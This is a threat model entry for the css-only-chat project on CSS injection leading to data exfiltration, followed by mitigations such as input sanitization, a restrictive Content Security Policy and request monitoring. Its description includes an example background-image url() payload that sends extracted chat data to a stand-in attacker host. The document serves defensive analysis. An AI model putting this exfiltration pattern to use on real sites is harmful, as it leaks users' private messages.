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Threat Model Analysis for kkuchta/css-only-chat

Threat: CSS Injection leading to Data Exfiltration

  • Description: An attacker injects malicious CSS code, potentially through user-controlled inputs like usernames or messages if these are reflected in CSS attributes. This injected CSS leverages CSS features to exfiltrate data. For example, using background-image: url("https://attacker.com/exfiltrate?data=[CSS-extracted-data]") to send sensitive information (chat messages, user IDs, etc.) to an attacker-controlled server when the CSS is processed by a victim's browser.
  • Impact: Confidentiality breach, leading to the leakage of private chat messages and potentially user identifying information to unauthorized third parties. This is a critical impact as it directly compromises user privacy and data security.
  • Affected Component: CSS Rendering Engine, Input Handling (if user input is reflected in CSS), Communication Mechanism (CSS attribute manipulation).
  • Risk Severity: Critical
  • Mitigation Strategies:
    • Developer: Implement mandatory and strict input sanitization and output encoding for all user-provided data that influences CSS rules. This is the most crucial mitigation. Escape CSS special characters and ensure no user input can directly control CSS properties that can trigger external requests (like url() in background-image, list-style-image, etc.). Use established security libraries for output encoding in CSS contexts.
    • Developer: Implement a robust Content Security Policy (CSP) with highly restrictive img-src and style-src directives. Specifically, limit allowed origins for image and stylesheet loading to only the application's own domain and trusted, necessary CDNs. This acts as a strong secondary defense against data exfiltration to arbitrary attacker domains.
    • Developer: Conduct regular and thorough security audits of CSS code and input handling logic, specifically looking for potential CSS injection vulnerabilities. Use automated static analysis tools designed to detect CSS injection flaws.
    • Developer: Consider isolating or sandboxing the CSS rendering process if feasible, although this might be complex to implement in a browser environment.
    • Developer: Implement rate limiting and monitoring of requests to external domains triggered by CSS (e.g., image requests). Unusual patterns of external requests could indicate a data exfiltration attempt.
    • Developer: Educate developers on CSS injection vulnerabilities and secure CSS coding practices.
    • User: Users have limited mitigation options for this threat in a CSS-only-chat context. General browser security practices like keeping browsers updated and using security extensions can offer some indirect protection, but the primary responsibility lies with the developers to implement secure coding practices.